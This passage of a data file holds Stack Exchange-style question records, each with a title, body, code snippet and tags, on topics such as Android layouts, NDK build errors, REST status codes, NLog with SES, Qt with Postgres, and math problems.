implement the public members.\nIf I do try to force the override:\n\nI get:\n\nNo
abstract or interface member was found that corresponds to this\n override.\n\n",
"internal abstract ParameterInfo[] GetParametersInternal ();\n", "f# mono"],
"5084923": ["What HTTP error code for failure to create a new resource because a
parent entity is gone", "Say i have an API exposing two related resources, Company
which has many Employees.\nSay I create a new Company: POST
http://domain/api/company/ which returns something like
http://domain/api/company/123. \nIf company/123 is removed from the system (say by
a DELETE) then GET http://domain/api/company/123 could return HTTP response code
410 (Gone).\nMy question is this. If I now try to create an Employee under
Company/123 by doing POST http://domain/api/employees/ (with companyId set to 123
in the request body) what HTTP response code should be sent back by the server due
to the invalid request? \nE.g. the request is correctly formated, but there is a
logical error due to the fact that company 123 is gone.\nInternal Server Error
500?\n", "", "api http rest"], "4003417": ["Team Build Screen - show name of
build", "I'm currently using Team Build Screen for monitoring our builds. However,
I would like to show the name of the build instead of build definition (name). The
reason is that we add a running number and some extra to the build. Is it possible
by using Team build screen, or are there other good tools?\nBest regards.\nDA.\n",
"", "visual-studio-2010 build tfs"], "4803352": ["Unable to access bbc.co.uk
- \"Error resolving hostname www.bbc.co.uk: timed out\" - possibly proxy related",
"I'm having some problems accessing bbc.co.uk. Each time I try I receive the error
message:\n\nIt's up according to .\nThis may be very much my fault, given that I
recently messed around (foolishly) with some ways of getting BBC Iplayer to work
from abroad (I'm still abroad, in Spain). Now the lagado proxy test says:\n\nI'd
really appreciate it if anyone had any suggestions on how to get my IP address back
to how it should be, so I can access websites normally! Thanks.\nEDIT: Various
other members living in Spain using with Telefonica as their ISP seem to be
experiencing the same problem, so this might not actually be my fault/resolvable by
me...\n", "**Connection Error**\nUnable to connect to the requested site.\n\
n**Details**\nError resolving hostname www.bbc.co.uk: timed out\n", "dns proxy ip-
address"], "3962125": ["dirname: command not found error when I run android project
- NDK", "I'm building an android application in eclipse. I need to call a function
written in C/C++.\nI setup everything including NDK, cygwin, etc (ask if u need
more details), but when I try to run the project, I get this error\n\n**** Build of
configuration Default for project C_Google_FaceDetect ****\nC:\\cygwin\\bin\\
bash.exe C:\\Android_NDK\\ndk-build\ncygwin warning: \nMS-DOS style path
detected:\nC:\\Documents and Settings\\John Smith\\eclipse_workspace\\
C_Google_FaceDetect\nPreferred POSIX equivalent is:\n/cygdrive/c/Documents and
Settings/John Smith/eclipse_workspace/C_Google_FaceDetect\nCYGWIN environment
variable option \"nodosfilewarning\" turns off this warning.\nConsult the user's
guide for more details about POSIX
paths:\nhttp://cygwin.com/cygwin-ug-net/using.html#using-pathnames\nC:\\
Android_NDK\\ndk-build: line 40: dirname: command not found\nC:\\Android_NDK\\ndk-
build: line 78: uname: command not found ERROR:\nUnknown host operating system: \
n*** Build Finished ****\n\nThe project name is C_Google_FaceDetect\nIf I use
cygwin to get the PATH, I get\n\nJohn Smith@E-USK3631BE /cygdrive/c\n$ echo $PATH\
n/cygdrive/c/Program Files/PC Connectivity Solution\n/cygdrive/c/WINDOWS/system32\
n/cygdrive/c/WINDOWS\n/cygdrive/c/WINDOWS/System32/Wbem\n/cygdrive/c/WINDOWS/
system32/nls\n/cygdrive/c/WINDOWS/system32/nls/ENGLISH\n/cygdrive/c/Program
Files/IVI Foundation/IVI/bin \n/cygdrive/c/Program Files/IVI
Foundation/VISA/WinNT/Bin\n/cygdrive/c/Program Files/IVI Foundation/VISA/WinNT/Bin\
n/cygdrive/c/Program Files/MATLAB/R2012a/runtime/win32\n/cygdrive/c/Program
Files/MATLAB/R2012a/bin\n/cygdrive/c/Program
Files/MATLAB/R2010a/runtime/win32\n/cygdrive/c/Program
Files/MATLAB/R2010a/bin\n/cygdrive/c/Program Files/emgucv
2.1.0.793/bin\n/cygdrive/c/Documents and Settings/mchi7jb2/My Documents/GLUT/lib\
n/cygdrive/c/OGLSDK/lib\n/cygdrive/c/Program Files/Microsoft Platform SDK for
Windows Server 2003 R2/Lib\n/cygdrive/c/Program Files/MATLAB/MATLAB Compiler
Runtime/v713/runtime/win32\n/cygdrive/c/Python27/python.exe\n/cygdrive/c/Program
Files/QuickTime/QTSystem\n/cygdrive/c/Android_NDK\n/cygdrive/c/Android_NDK/build\
n/cygdrive/c/Program
Files/Java/jdk1.7.0_04/bin\n/cygdrive/c/Android_NDK\n/cygdrive/c/Android_NDK/ndk-
build/usr/bin\n/cygdrive/c/Android_SDK/tools\n/cygdrive/c/Android_SDK/platform-
tools\n/cygdrive/c/Android_NDK\n\nMy Android.mk file is as follows\n\nPlease help\
n", "LOCAL_PATH := $(call my-dir)\n\ninclude $(CLEAR_VARS)\n\nLOCAL_MODULE :=
C_Google_FaceDetect\nLOCAL_SRC_FILES := yuv_decoder.c\n\ninclude $
(BUILD_SHARED_LIBRARY)\n", "android bash compiler-errors
android-ndk cygwin"], "5979582": ["Creating a namespaced resource from within a
different namespace", "I am creating a gallery application, and I want the ability
to have public and private galleries. I have the public galleries set up pretty
well, I think, but I'm having some trouble conceptualizing the private galleries.
I'm considering the possibility of having a Private namespace with galleries and
images, then assigning a user as the owner of a specific gallery so that they are
the only ones who can access the gallery. \nIf I were to do something like that,
would I be able to create a new private gallery from within the Admin Namespace?\
n", "", "ruby-on-rails-3 namespaces"], "4376956": ["Relative Layout Android", "I
have 6 textviews,3 editboxes and two spinners in a Relativelayout.I am trying to
add further editboxes in the app. But the app is not showing the additional boxes.\
nMy code is:\n\n\n\n
xmlns:android=\"http://schemas.android.com/apk/res/android\"\n
android:layout_height=\"fill_parent\"\n android:layout_width=\"fill_parent\"> \
n\nThe last editbox or any element further added is not showing in the app.\nPlease
help.\n", " <TextView \n android:id=\"@+id/EditText01\" \n
android:text=\"@string/type1\" \n android:layout_alignParentLeft=\"true\" \n
android:layout_width=\"fill_parent\"\n android:textSize=\"18sp\" \n
android:layout_toLeftOf=\"@+id/Button01\" \n
android:layout_height=\"wrap_content\"></TextView>\n <EditText \n
android:id=\"@+id/Button01\" \n android:layout_width=\"wrap_content\" \n
android:layout_alignParentRight=\"true\" \n
android:layout_height=\"wrap_content\"></EditText>\n\n <TextView \n
android:id=\"@+id/EditText02\" \n android:text=\"@string/type2\" \n
android:layout_alignParentLeft=\"true\" \n
android:layout_below=\"@id/EditText01\"\n android:layout_width=\"fill_parent\"
\n android:textSize=\"18sp\"\n android:layout_toLeftOf=\"@+id/Button01\" \
n android:layout_height=\"wrap_content\"></TextView>\n <EditText \n
android:id=\"@+id/Button02\" \n android:layout_width=\"wrap_content\" \n
android:layout_alignParentRight=\"true\" \n
android:layout_below=\"@id/Button01\"\n
android:layout_height=\"wrap_content\"></EditText> \n\n <TextView \n
android:id=\"@+id/EditText03\" \n android:text=\"@string/type3\" \n
android:layout_alignParentLeft=\"true\" \n
android:layout_below=\"@id/EditText02\"\n android:layout_width=\"fill_parent\"
\n android:textSize=\"18sp\"\n android:layout_toLeftOf=\"@+id/Button01\" \
n android:layout_height=\"wrap_content\"></TextView>\n <EditText \n
android:id=\"@+id/Button03\" \n android:layout_width=\"wrap_content\" \n
android:layout_alignParentRight=\"true\" \n
android:layout_below=\"@id/Button02\"\n
android:layout_height=\"wrap_content\"></EditText> \n\n <TextView \n
android:id=\"@+id/EditText04\" \n android:text=\"@string/property\" \n
android:layout_below=\"@id/EditText03\"\n android:layout_width=\"fill_parent\"
\n android:textSize=\"18sp\"\n
android:layout_height=\"wrap_content\"></TextView> \n <Spinner \n
android:id=\"@+id/spinner\"\n android:layout_width=\"fill_parent\"\n
android:layout_height=\"wrap_content\"\n android:layout_below=\"@id/Button03\"\n
android:prompt=\"@string/property\"></Spinner>\n\n <TextView\n
android:id=\"@+id/EditText05\"\n android:text=\"@string/propage\"\n
android:layout_below=\"@id/spinner\"\n android:layout_width=\"fill_parent\"\n
android:textSize=\"18sp\"\n android:layout_height=\"wrap_content\"></TextView>
\n <Spinner\n android:id=\"@+id/widget\"\n
android:layout_width=\"fill_parent\"\n android:layout_height=\"wrap_content\"\
n android:layout_below=\"@+id/EditText05\"\n
android:prompt=\"@string/propage\"></Spinner>\n\n <TextView\n
android:id=\"@+id/EditText06\"\n android:text=\"@string/income\"\n
android:layout_alignParentLeft=\"true\"\n
android:layout_below=\"@+id/widget\"\n android:layout_width=\"fill_parent\"\n
android:textSize=\"18sp\"\n android:layout_toLeftOf=\"@+id/Button04\" \n
android:layout_height=\"wrap_content\"></TextView> \n <EditText\n
android:id=\"@+id/Button04\"\n android:layout_width=\"wrap_content\" \n
android:layout_alignParentRight=\"true\" \n
android:layout_height=\"wrap_content\"></EditText>\n\n\n\n </RelativeLayout>\n\n
</ScrollView> \n", "android-layout"], "5979584": ["Is there really no way to stop
Filevault actions in progress ...?", "I accidentally clicked \"Turn Off
Encryption\" in the FileVault dialog and now my system is unusable for the next few
days. I really need to get some work done, so this is totally unacceptable.
Looking at \"top\", it appears that all of my processes are getting set into
the \"stuck\" state, which I learned after research means that it's waiting on a
driver (presumably they're waiting to write to disk.) After awhile they get set to
something else in top and when they do, they are again usable via the UI until they
get stuck again.\nI totally understand the concept of knowing how to use my system
and not mucking around, and when I'm using Linux I'm very careful, but this is OSX
and I thought it was supposed to protect me from myself. I guess not. Now that I'm
done whining, my questions are:\n\nIs there really no way to make it stop what it's
doing?\nIs there something else wrong that's making my system unusable during this
process?\n\n", "", "mac filevault"], "2721509": ["Java: De-Serialize a container of
generic serializables?", "I have different kinds of serializable 's that store
state data for important application objects. I do this so I can persist these
important objects arcoss application instatances. The user will sometimes need to
group certain objects together into containers, so some of the 's are placed into
an array of 's and passed to a (just a serializable class that holds an array of
generic types serializables).\nMy question is, how do I de-serialize the and keep
type integrity? I thought I could try something like:\n\nBut that won't even get
past Eclipses' warning system. I also tried to the same result. Is it even
possible for me to achieve this?\nEDIT 1:\nI tried this, it seems to work, but I'm
not sure if it's the best way. Any thoughts?\n\n", "ObjectState", "java
serialization"], "4458365": ["How can I show XML graphically?", "I'm working on my
thesis, the main goal of this thesis is to design and develop a graphical interface
for XML languages.\nSome features of this application will be:\n\nshow XML
graphically\nadd/modify/delete a child\nadd/modify/delete attribute\nbrowse two or
more files in the same window and exchange data graphically, i.e. Move one child
form file to file graphically\ncreate a link between two XML files then convert
them to two SQL server tables\n\nCan anyone help me how can I begin, how can I show
xml graphically tree (GUI)?\n", "", "xml"], "5085934": ["Mark tableview cell as
completed when user user returns from subview", "I am writing an application that
teaches a user in lessons separated by sections. I have a tableview filled with
custom tableview cells that have a check mark I want to unhide when the user
completes the lesson and the lesson view is popped back to the table. Is there a
way as my ViewWillAppear is called I can unhide the checkmark label in the specific
tableview cell?\n", "", "uitableview uitableviewcell viewwillappear"], "5244000":
["How to \"chain\" modal dialogs in YUI 2?", "I have a modal dialog box presented
in Yahoo UI. The user selects a value from dialog \"A\", and then I want to present
another modal dialog box to collect some more data in dialog \"B\".\nI have been
using the YAHOO.widget.Dialog successfully. The problem seems to be that you can't
initiate dialog window \"B\" from the handler function of dialog \"A\". So, how can
you programmatically launch a second dialog window after the user hits the \"OK\"
button on the first ?\n(I had tried to create an additional Listener for a field
that is updated in dialog \"A\" to trigger dialog \"B\" but this doesn't work
either.)\nThanks..\n", "", "dialog yui modal-dialog widget"], "1227950": ["Python
urllib2 giving \"network unreachable error\" if the URL is https", "I am trying to
fetch some urls using urllib2 library.\n\nCode above is working fine, and giving
expected result. But when I make the url https, it gives \"network unreachable\"
error\n\nIs there any problem with ssl? My python version is Python2.6.5. I am also
behind an academic proxy server. I have the settings in bash file. Anyway, since
http is opening proxy shouldn't be the problem here.\n", "a =
urllib2.urlopen(\"http://www.google.com\")\nret = a.read()\n", "python http ssl
https urllib2"], "4466980": ["Smooth grabbing", "I've made a simple grabbing demo
page. It doesn't have any easing/acceleration. I would like to do the same
easing/acceleration as on kulesh.info (Flash website) using JavaScript. How can I
do that?\nAny examples of smooth grabbing (scrolling, dragging) in JavaScript would
be helpful as well as a language agnostic algorithm.\n", "", "javascript gui
acceleration"], "1649112": ["Integrating YUI tests with CruiseControl", "I am using
YUI to test my JavaScript app, and want to integrate the test results into my
CruiseControl build system. How can I use CruiseControl to run the tests? I
initially thought about using the JUnit plugin to drive the tests, but that is a no
go. \nDoes anyone else have this working?\n(Please note: Changing either YUI or
CruiseControl isn't an option for me.)\n", "", "yui cruisecontrol"], "5209535":
["Why does list length reduce to sqrt(n) after each comparison in interpolation
search?", "According to the book I'm reading, interpolation search takes in
average case.\nThe book assumes that each compare reduce the length of the list
from to . Well, it isn't difficult to work out the given this assumption.\
nHowever, the book didn't talk more about this assumption except that it says this
is correct. \nQuestion: can anyone give some explanation on why this is true?\n",
"O(loglogn)", "algorithm math complexity"], "2375282": ["probability of hand with
at least 2 kings", "A hand H of 5 cards is chosen randomly from a standard deck of
52. Let E1 be the\nevent that H has at least one King and let E2 be the event that
H has at least 2 Kings.\nWhat is the conditional probability Pr(E2 | E1)?\
nsolution:\nPr(E2 | E1) = $$ 1 - \\frac{4\\binom{48}{4}}{\\binom{52}{5} - \\
binom{48}{5}}$$\nwould this be a correct solution (obtained by looking at a similar
problem)\ni'm a bit confused by this solution, can someone walk me through it so i
can understand\n", "", "probability combinatorics discrete-mathematics"],
"2462817": ["How to mark C# event handler as \"handled\"?", "Say I've got a button
on a form that I want to disable if some condition is met. Is there a way to check
for this condition inside the button's \"IsEnabled\" event handler and modify the
enabled state such that setting the enabled state a second time does not trigger
another call to the IsEnabled event handler?\nLet me demonstrate:\n\nAssume I'm
triggering the event elsewhere (which I am).\n", "private void
ExportResults_IsEnabledChanged (object sender, DependencyPropertyChangedEventArgs
e)\n{\n if (some condition)\n {\n uxExportResults.IsEnabled = false; // this will
cause another call to the event handler, eventually resulting in a stack overflow\n
}\n}\n", "c# .net event-handling"], "5066889": ["Windows Phone 8 - task on alarm",
"I've written a code that reads qr/barcode on demand. However I need background
agent to run this piece of code/app while system alarm rings. I haven't been able
to think how to do it.\n", "", "windows background phone agent"], "1526629":
["Updating the DOM based on scroll position with Twitter Bootstrap?", "If you look
at this page: http://twitter.github.com/bootstrap/components.html\nNote the submenu
and it's position. Now scroll down - notice how it changes? I assumed they
implemented it with the scrollspy plugin but I can't seem to figure out how to do
it, all I can do is update which list element has the active class.\nAny help would
be much appreciated :)\n", "", "dom position twitter-bootstrap"], "4436713": ["Pass
value from a CCK node reference field to a view during content creation", "I have a
content type EVENT which has 2 node reference fields - BRANDS and STORES. A brand
can have multiple stores and are linked by node reference fields ie. the STORES
Content type has a field BRANDS which is a node reference field.\nWhen creating the
event Ideally I would like the BRAND field to be an autocomplete and the STORES
field to be a select list. That way when I select the BRAND the STORES list will
show stores only for that BRAND. It is then easier for the user to Check the stores
where the event will take place\n\nThe current scenario\n\nWhen I create an EVENT
the BRANDS field loads all the brands. The STORES field loads all the stores even
of the brand is selected. \n\nWhat I need to do\n\nWhen I create an EVENT and
select the BRAND, I want to load only the stores for that brand in the STORES
selection. \nThe ideal way to do this would be to use a view to restrict the values
of the STORES based on the BRAND selected. But how do we pass the selected BRAND to
the view ? \nIt cannot be passed from the node since the node is not created yet
and we cannot get the node id from the URL.\nAny help with a method to achieve this
using views in Drupal 7 would be great !\n", "", "drupal-7 drupal-views
nodereference"], "3506243": ["Use NLog with AWS SES", "I managed to set up a target
to send email using gmail (http://nlog-project.org/wiki/Using_NLog_with_GMail) so I
thought it would have been easy to modify it to use AWS SES but... it doesn't work
and I don't know why. I tried to set throwExceptions=\"true\" but nothing is
logged.\nMy target reads:\n\nAnyone managed to set a target so to send log via
Amazon Web Service SES SMTP? \n", "<target name=\"mail\" type=\"Mail\"
smtpServer=\"email-smtp.us-east-1.amazonaws.com\" smtpPort=\"465\"
smtpAuthentication=\"Basic\" smtpUsername=\"USERNAME\" smtpPassword=\"PASSWORD\"
enableSsl=\"true\" from=\"verifiedemailaddress\" to=\"smyemailaddress\"/>\n",
"amazon-web-services nlog"], "4969940": ["Insert space after period using sed",
"I've got a bunch of files that have sentences ending like this: . I'd like to
insert a space after the period. \nNot all occurrences of do not have a space,
however, so my regex checks if the next character after the period is a capital
letter.\nBecause I'm checking one character after the period, I can't just do a
replace on to , and because I don't know what character is following the period,
I'm stuck. \nMy command currently:\n\nHow can I grab the last letter of the
matching string to use in the replacement regex?\nEDIT: For the record, I'm using a
BSD version of (I'm using OS X) - from my previous question regarding , apparently
BSD sed (or at least, the Apple version) doesn't always play nice with GNU sed
regular expressions. \n", "\\@.Next sentence", "regex osx sed"], "5333303": ["Again
- parallax mapping issue in OpenGL, GLSL. It's not as usual as it seem to be", "\n\
nAnd this is result when I invert the tangent vector right after transferring it to
vertex shader:\n\n\nThe \"shadow\" is in the wrong place.\n(And it works only when
I rotate it through Y axis so the last image seem to present a good parallax mapped
cube)\nIM SURE IT IS NOT A TANGENT VECTOR OR TEXTURE COORDINATES PROBLEM\nBecause\
nI used exactly the same tangent calculation functions and exactly the same cube
position, normal and texture coordinate data as in working demo.\nAfter all, I
exported arrays with position/texcoord/normal/tangent data into a .txt file and I
saw what I exactly expected (and what I expected is the same pos/tex/norm data as
in working demo, including calculated tangents which I managed to export from
working demo).\nThe next argument is, I copied my shader code to a working demo and
it still works.\nOther one is, I tried multiple ways to render this cube.\nI tried
VBO with glVertexAttribPointer, I tried VBO with saving tangent as other texture
coordinate (as in the demo), I tried DisplayList with glVertexAttrib4f. Result
is... EXACTLY THE SAME.\nHeight map is loading correctly, I tried to set it as a
diffuse map and it looked OK.\nglGetError() gives me No Errors and shader compile
logs says so.\nIt is probably something with camera or init states.\nMaybe posting
an init code will help.\n\nBy the way, I'm using GL Extension Wrangler with
extensions.\nShader code & log (this exported file contains code which was directly
passed to glShaderSource):\n\nUniforms are working correctly because results are
the same if I switch them with constant values.\nCompiling shader:\n\nSetting
attribute in VBO:\n\nand a small note\n\nJust tell me your other ideas about what
can be the reason of those bad results.\n", "void CDepthBase::OpenGLSet() {\n\n
glEnable( GL_TEXTURE_2D );\n glShadeModel( GL_SMOOTH );\n glClearColor( 0.0f,
0.0f, 0.0f, 0.0f );\n glClearDepth( 1.0f );\n glPixelStorei(GL_UNPACK_ALIGNMENT,
1);\n glDepthFunc( GL_LEQUAL );\n glEnable(GL_DEPTH_TEST);\n\n\n\n
glBlendFunc( GL_ONE, GL_ONE );\n GLfloat ratio;\n\n glViewport(0, 0,
ResolutionWidth, ResolutionHeight);\n glMatrixMode(GL_PROJECTION);\n
glLoadIdentity();\n gluPerspective(45.0f, ResolutionWidth /
(float)ResolutionHeight, 0.1f, 900.0f);\n glMatrixMode(GL_MODELVIEW);\n
glLoadIdentity();\n\n if (GLEW_OK != glewInit()) {\n MBX(\"Failed to init
GLEW.\", \"Error\");\n }\n if
(glewIsSupported(\"GL_ARB_vertex_buffer_object\")) {\n VBO_supported =
true;\n\n\n } else VBO_supported = false;\n\n glHint( GL_FOG_HINT,
GL_DONT_CARE ); \n glHint( GL_PERSPECTIVE_CORRECTION_HINT, GL_NICEST );\n
glShadeModel(GL_SMOOTH);\n\n glAlphaFunc(GL_ALWAYS, 0);\n}\n", "c++ opengl
glsl"], "5081291": ["Design for using a mock connection", "I have a simple
application with a UI with a backend connection, from which i get the data. Now,
during development, I wouldn't like to connect to the backend as it slows me down.
So, i have some locally stored data and i 'mock' the connection to return the
locally stored data instead of making a server call.\nNow, this is not for writing
test cases (hence, i do not see if mocking frameworks come in the picture), but
just being able to switch between between a local and remote connection during
development.\nThere are many ways to do this, i suppose:\n\nObtaining the
connection from a\nfactory (or via dependency injection)\nand setting a flag that
returns the\nlocal connection\nMaintaining a\nproperties file, where i set\
n'local=true' or something similar\nthat returns the local connection.\n\nAre there
any other ways of achieving this?\n", "", "java design mocking"], "1294895": ["What
exactly does the `wait_fences` error message mean", "I've come accross the error
message several times.\nI could not find any official documentation about itI would
like to know in what circumstances this error message occurs and what exactly it
means.\n", "wait_fences", "iphone ios cocoa-touch uikit"], "4765048": ["Using QT
Designer to create TableView to Postgres Database", "I'm creating a plugin in
Quantum GIS that is using Postgres as the back end and QT Designer to make the GUI.
I'm using psycopg2 to run scripts in the database and even fetch results of queries
to set the values of labels in the GUI. This stuff is working fine
for me.\nWhat I would like to do now after some queries are run by clicking a
'calculate' button is for the resulting table to be shown in the plugin as a
TableView. I know there widget exists expressly for the purpose of viewing tables
but I can't quite figure out how to go about it. I'm not sure if I should be using
psycopg2 or PySide, since most examples I have seen online use the latter. \nI am
wondering if someone can tell me which between psycopg2 and PySide should be used
to create the TableView. Second, I am wondering what the 'signal' should be to the
TableView widget to display the results of a query in Postgres. Lastly, is anyone
can offer some instruction as to how to set up the code it would be hugely
appreciated!\nCheers,\nRoman\nI've gone ahead and tried following the PyQt
documentation, but as it's provided in C++ and I'm only a beginner programmer using
Python I'm not sure if I've caught all the necessary amendments to the code syntax.
Anyways, this is what I have so far:\n\nWhat happens when I click the button in my
GUI to run the calculations, a small blank QGIS window briefly flashes and goes
away. At least I'm not getting an error, but it's obviously not complete. I assume
part of the issue is the connection to the database that is missing and that I do
not know how to set. The other issue is that I would like this to show in the
tableView widget in the GUI, but I'm not sure how to specify this...\nAny further
tips? I really appreciate it.\nRoman\n", "db =
QSqlDatabase.addDatabase(\"database\")\n db.setHostName(\"localhost\")\n
db.setUserName(\"postgres\")\n db.setPassword(\"password\")\n #Not sure what to
do to set the connection. The C++ documentation says to put \"bool ok =
db.open();\"\n\n model = QSqlQueryModel()\n model.setQuery(\"SELECT name,
density, deveff FROM public.\" +str(filename)+ \"_rezoning ORDER BY gid;\")\n
model.setHeaderData(0, Qt.Horizontal, \"Name\")\n model.setHeaderData(1,
Qt.Horizontal, \"Density\")\n model.setHeaderData(2, Qt.Horizontal, \"DevEff\")\n\
n view = QTableView()\n view.setModel(model)\n view.show()\n", "sql postgresql
tableview qt-designer"], "3977906": ["emacs why do I have hashes at the ends of my
file names i.e. #test.c#", "I am using emacs 22.2.1 on Ubuntu 9.04.\nEvery time I
open a file and work on it, and then when I list the files in the directory in the
terminal I see hashes at the ends of each file.\ni.e.\n\nWhy is this and how can I
remove them?\nMany thanks for any advice,\n", "#test.c#\n#test.h#\n", "emacs"],
"4067004": ["IE problems with Media Queries", "OK, this script checks the media
type using css media queries. The idea is that I create a div (pre-DOM) and a style
element with media queries, and if the style is applied then the media query was
true. This works in Firefox 5, but not in IE 9.\n\nThis returns \"5 1\" in FF 5 and
in Chrome console, but it returns \"919 0\" in IE 9. What is IE doing here? How can
I work around?\nHere is an example of the function call:\nmediaQuery('screen and
(min-width: 480px)').match\nAfter some testing I have found that the width matches
100% of the screen width. \nWhy isn't the media query working in IE, it works in FF
and Chrome... \nMaybe IE is just not processing the CSS before I test the width in
javascript?\n", "/** Detect Browser Media **/\nif(!window.mediaQuery){\n
window.mediaQuery = function(query){\n var boolean = 0;\n\n style =
document.createElement('style');\n style.media = query;\n style.innerHTML =
'#mediaQuery{width:5px;}';\n document.head.appendChild(style);\n\n div =
document.createElement('div');\n div.id = 'mediaQuery';\n
document.documentElement.appendChild(div);\n\n if(div.offsetWidth == 5){boolean
= 1;}\n console.log(div.offsetWidth,\" \",boolean);\n\n return
{ match:boolean };\n }\n}\n", "javascript css3 internet-explorer-9 media-
queries"], "3979747": ["Conversion between numeric objects in Java", "I am looking
for a simple, concise way to convert a given Number object to an object of a given
numeric type.\n\nLoss of precision due to narrowing conversions is fine\nI prefer
not to go through strings.\n\nI need something like:\n\nIs there a way to do it
without checking all the combinations of types? \n", "private static Number
convert(Number num, Class<? extends Number> targetType)\n", "java numbers"],
"1630542": ["Upper bound on differences of consecutive zeta zeros", "The average
gap $\\delta_n=|\\gamma_{n+1}-\\gamma_n|$ between consecutive zeros $(\\beta_n+\\
gamma_n i,\\beta_{n+1}+\\gamma_{n+1}i)$ of Riemann's zeta function is $\\frac{2\\
pi}{\\log\\gamma_n}.$ There are many papers giving lower bounds to\n$$\n\\
limsup_n\\ \\delta_n\\frac{\\log\\gamma_n}{2\\pi}\n$$\nunconditionally or on RH or
GRH. (The true value is believed to be $+\\infty.$) I'm interested in an upper
bound on the smaller quantity $\\delta_n$. I asked the question on MathOverflow but
have not yet found an effective bound. Both unconditional results and those relying
on the RH are interesting.\n", "", "number-theory complex-analysis special-
functions analytic-number-theory riemann-zeta"], "4976034": ["iPad App - Deployment
without needing the UDID", "I have a doubt. Please guide me. I am planning to
create an iPad app, but I want to install this app on the iPad without using the
UDID in my profile. I have checked the \"Enterpraise Account\", but without this
approach (like sideloading apps on android) is there any possible way to do this?
Are there any problem that may arise?\nKindly guide me.\n", "", "ios ipad apple"],
"1611515": ["JSF, multiple bean update property in a form", "I edited my question
to be more precise as I have more time to write it.\nI have a JSF form that should
modify the value of the different properties of a dog :\n\nThis is my managed bean
:\n(All the getter and setter are good and valid, as this is a bean constructor is
empty).\n(Initially Dog property is initialized in a validation method, so it has a
value and is )\n\nThis is an other bean that I have not set managed as it is only
used by User class \n :\n\nOffcourse this is a simple exemple for understanding the
thing.\nWhen I send the form, property will update but not the property.\nHow can
both java classes' values be updated ?\nAfter the form is submitted I show the
current values, only the has changed :\nSystem.out.println(User.name); //value
changed after form is submitted\nSystem.out.println(User.dog.name); //value NOT
changed after form is submitted\nI dont know if you understand my problem here, I
want to manipulate the Dog class properties within my JSF form althouth I wont
modify the Dog bean directly, only the ...\nBy the way, faces-config is ok :\
nEDIT :\nI have added a for my User managed bean. Although, nothing is changed...\
n\n", "<h:form id=\"submit\">\n <h:outputLabel value=\"Dog name:\"/>\n
<h:inputText value=\"#{User.dog.name}\" id=\"dogName\"/>\n <h:outputLabel
value=\"Name :\"/>\n <h:inputSecret value=\"#{User.name}\" id=\"name\" />\n
<h:commandButton type=\"submit\" value=\"Submit\" />\n</h:form>\n", "java jsf
properties javabeans"], "3508613": ["Integral of $\\int \\cos^2 (x) \\tan^3 (x)
dx$", "I have no idea how to do a problem like this. I know I can't do $u$
substitution because $\\tan$ or $\\sec$ doesn't cancel out both the $\\tan$ and the
$\\cos$.\n$$\\int \\cos^2 (x) \\tan^3 (x) dx$$\n$$\\int \\cos^2 (x) (\\sec^2 (x) -
1) \\tan (x) dx$$\nFrom here I can't really do anything because no u will cancel
out everything.\n", "", "homework calculus integral"], "4479287": ["Struts2 -
Nesting <s:property> in a custom tag", "I have a custom struts2 tag:\n\nAnd, I want
to get the value of attribute of from the .\nLike, \n\nSo, I tried setting the
attribute for to but, still I am not able to see the nested inside the custom
tag getting evaluated.\nThere is no error/exception, its just that the nested is
not getting evaluated.\nCan someone help me know how to get this working?\nThanks.\
n", "<s:myTag myprop=\"...\" >\n...\n</s:mytag>\n", "java java-ee struts2"],
"3234868": ["Tutorial for Test complete tool and VB scripts", "I had just started
working on some automated testing tools, namely test complete, which I would be
using along with test partner. So I had also started learning VB scripts for this.\
nI just want to know if anyone could provide me a link so that I could learn this
tool, as well as VB scripting more effectively.\n", "", "vbscript automated-tests
testcomplete"], "4064732": ["Template correction in XSLT", "\nI have this Input XML
in which I want to check whether contains SERVICE or not.\nIf it contains SERVICE
then a element should be added after naming .\nAlso I want to check if my Input
XML already contains element then its value should be\nreplaced by SERVICE which
is in element.\nI have created a template for this ->\n\nThis template is checking
whether exists or not. If it doesn't exist then it creates \nelement and adds
'SERVICE' as value to it.\nAnd if exists then it creates one more element which
is not required.\nI need to correct my second when situation.\n", "<To>\n
<Id>SERVICE</Id>\n <Role>Commuter</Role>\n</To>\n<BPD>\n <OrgNo>234</OrgNo>
\n</BPD>\n<BON>123</BON>\n", "xml xslt xslt-1.0"], "4593380": ["Masking the
password field in java", "I am developing a Java command line application and I
need to display an asterisk (*), or any similar sign, when the user inputs the
password. I have tried using the replace() method but it accepts only one
character. Is there a way to pass all the letters and numbers as an argument for
this replace method. Or else what is the method of masking the suer input.\nI
cannot use the console.readPassword technique here, because I need the password
(tpyed by the user) in the String data type.\nAny help is greatly appreciated...\
n", "", "java passwords command line
masking"], "3182939": ["Django+backbone+tastypie: handling relationship",
"Assuming that i have Django models Category and Item, with Item that have
ForeignKey towards Category (this field is named category), i have made Item model
in Backbone like this:\n\nbut when i save model an Item i get the error: \n \nin
django/db/models/fields/related.py, it seems that category_id field is not
recognized as field of Item model. \nI'm using tastyapi, and ItemModel and the
ItemResource are:\n\nSome details: when related.py file executes
self.field.attname is store_id but isntance.store_id is None, even if backbone
model has, as store_id value, 26.\nSome help?\n", "defaults:{ name:'',
category_id:''}\n", "django model backbone.js foreign-keys tastypie"], "592996":
["How should date-based queries in Oracle be parameterised", "\nIn my specified
query it should display the records based on the date parameter that is being
passed in the above query.\nthe vc_jo_no,dt_jo_date are taken from mst_jobcard
table and vc_product_name is taken from mst_prod table.\ni have joined the tables.\
nplease help me in how to use the to_char function for date.\nwhen i specify the
format i.e dd-mm-yy in the to_char function it gives error.\nplease help..\n",
"ResultSet rs=st.executeQuery(\n \"select j.vc_jo_no,\n
j.dt_jo_date,\n p.vc_product_name \n from mst_jobcard j,\n
mst_prod p \n where j.vc_product_code=p.vc_product_code \n and
j.dt_jo_date=to_char(\"+tdate+\",\"+\"'\"+dd-mm-yy+\"'\"+\")\n \");\n", "sql
oracle"], "1884990": ["ASP.NET Theme Images", "How would I set an image to come
from a theme directory (my theme changes so I don't want to directly reference) I
am sure this is possible but every example I find doesn't seem to work. They are
usually along the lines of:\nasp:image ID=\"Image1\" runat=\"server\"
ImageUrl=\"~/Web/Mode1.jpg\" /\nwhere Web would be a sub directory in my themes
folder. Suggesting the theme directory would be added at runtime.\n", "", "asp.net
